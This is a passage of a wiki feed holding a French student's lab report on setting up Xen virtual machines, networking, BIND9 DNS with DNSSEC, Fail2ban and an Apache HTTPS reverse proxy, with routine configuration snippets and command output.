        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12116</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12116"/>
		<updated>2026-02-07T17:52:56Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Configuration du domaine sécurisé */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
